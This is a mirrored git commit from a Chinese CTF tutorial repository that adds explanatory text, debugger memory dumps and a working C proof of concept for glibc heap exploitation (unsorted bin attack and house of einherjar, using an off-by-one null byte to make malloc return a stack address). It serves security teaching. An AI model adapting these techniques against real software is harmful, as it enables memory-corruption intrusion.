mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
update 3.3.5
This commit is contained in:
parent
40f2058e04
commit
3c7fc5adc8
@ -5,6 +5,7 @@
|
||||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||||
- [house_of_einherjar](#house_of_einherjar)
|
||||
- [house_of_orange](#house_of_orange)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/Others/3.3.5_heap_exploit)
|
||||
@ -144,6 +145,17 @@ int main() {
|
||||
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g unsorted_bin_attack.c
|
||||
$ ./a.out
|
||||
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
|
||||
|
||||
Now, we allocate first small chunk on the heap at: 0x1066010
|
||||
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
|
||||
We write it with the target address-0x10: 0x7ffc9b1d61a0
|
||||
|
||||
Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
|
||||
```
|
||||
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
|
||||
|
||||
unlink 的对 unsorted bin 的操作是这样的:
|
||||
@ -202,5 +214,146 @@ gef➤ x/4gx &stack_var-2
|
||||
从而泄漏了 unsorted bin 的头部地址。
|
||||
|
||||
#### house_of_einherjar
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
int main() {
|
||||
uint8_t *a, *b, *d;
|
||||
|
||||
a = (uint8_t*) malloc(0x10);
|
||||
int real_a_size = malloc_usable_size(a);
|
||||
memset(a, 'A', real_a_size);
|
||||
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
|
||||
|
||||
size_t fake_chunk[6];
|
||||
fake_chunk[0] = 0x80;
|
||||
fake_chunk[1] = 0x80;
|
||||
fake_chunk[2] = (size_t) fake_chunk;
|
||||
fake_chunk[3] = (size_t) fake_chunk;
|
||||
fake_chunk[4] = (size_t) fake_chunk;
|
||||
fake_chunk[5] = (size_t) fake_chunk;
|
||||
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
|
||||
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
|
||||
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
|
||||
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
|
||||
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
|
||||
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
|
||||
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
|
||||
|
||||
b = (uint8_t*) malloc(0xf8);
|
||||
int real_b_size = malloc_usable_size(b);
|
||||
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||||
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
|
||||
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
|
||||
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||||
a[real_a_size] = 0;
|
||||
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||||
|
||||
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
|
||||
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
|
||||
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
|
||||
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
|
||||
|
||||
fake_chunk[1] = fake_size;
|
||||
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
|
||||
|
||||
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
|
||||
free(b);
|
||||
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
|
||||
|
||||
d = malloc(0x10);
|
||||
memset(d, 'A', 0x10);
|
||||
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_einherjar.c
|
||||
$ ./a.out
|
||||
We allocate 0x10 bytes for 'a': 0xb31010
|
||||
|
||||
Our fake chunk at 0x7ffdb337b7f0 looks like:
|
||||
prev_size: 0x80
|
||||
size: 0x80
|
||||
fwd: 0x7ffdb337b7f0
|
||||
bck: 0x7ffdb337b7f0
|
||||
fwd_nextsize: 0x7ffdb337b7f0
|
||||
bck_nextsize: 0x7ffdb337b7f0
|
||||
|
||||
We allocate 0xf8 bytes for 'b': 0xb31030
|
||||
b.size: 0x101
|
||||
We overflow 'a' with a single null byte into the metadata of 'b'
|
||||
b.size: 0x100
|
||||
|
||||
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
|
||||
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
|
||||
|
||||
Modify fake chunk's size to reflect b's new prev_size
|
||||
Now we free b and this will consolidate with our fake chunk
|
||||
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
|
||||
|
||||
Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
|
||||
```
|
||||
house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。
|
||||
|
||||
首先分配一个假设存在 off_by\_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了:
|
||||
```
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||||
0x603030: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/8gx &fake_chunk
|
||||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk
|
||||
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||||
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||||
0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300
|
||||
```
|
||||
|
||||
接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了:
|
||||
```
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
|
||||
0x603030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。
|
||||
|
||||
接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配:
|
||||
```
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size
|
||||
0x603030: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/8gx &fake_chunk
|
||||
0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size
|
||||
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||||
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||||
0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600
|
||||
```
|
||||
|
||||
释放 chunk b,这时因为 `PREV_INUSE` 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到:
|
||||
```
|
||||
gef➤ heap arenas
|
||||
Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
|
||||
```
|
||||
合并的过程在 poison-null-byte 那里也讲过了。
|
||||
|
||||
最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址:
|
||||
```
|
||||
gef➤ x/8gx &fake_chunk
|
||||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
|
||||
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
|
||||
0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331
|
||||
0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00
|
||||
```
|
||||
|
||||
#### house_of_orange
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
54
src/Others/3.3.5_heap_exploit/house_of_einherjar.c
Normal file
54
src/Others/3.3.5_heap_exploit/house_of_einherjar.c
Normal file
@ -0,0 +1,54 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
int main() {
|
||||
uint8_t *a, *b, *d;
|
||||
|
||||
a = (uint8_t*) malloc(0x10);
|
||||
int real_a_size = malloc_usable_size(a);
|
||||
memset(a, 'A', real_a_size);
|
||||
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
|
||||
|
||||
size_t fake_chunk[6];
|
||||
fake_chunk[0] = 0x80;
|
||||
fake_chunk[1] = 0x80;
|
||||
fake_chunk[2] = (size_t) fake_chunk;
|
||||
fake_chunk[3] = (size_t) fake_chunk;
|
||||
fake_chunk[4] = (size_t) fake_chunk;
|
||||
fake_chunk[5] = (size_t) fake_chunk;
|
||||
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
|
||||
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
|
||||
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
|
||||
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
|
||||
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
|
||||
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
|
||||
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
|
||||
|
||||
b = (uint8_t*) malloc(0xf8);
|
||||
int real_b_size = malloc_usable_size(b);
|
||||
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||||
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
|
||||
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
|
||||
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||||
a[real_a_size] = 0;
|
||||
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||||
|
||||
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
|
||||
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
|
||||
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
|
||||
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
|
||||
|
||||
fake_chunk[1] = fake_size;
|
||||
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
|
||||
|
||||
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
|
||||
free(b);
|
||||
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
|
||||
|
||||
d = malloc(0x10);
|
||||
memset(d, 'A', 0x10);
|
||||
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
|
||||
}
|
Loading…
Reference in New Issue
Block a user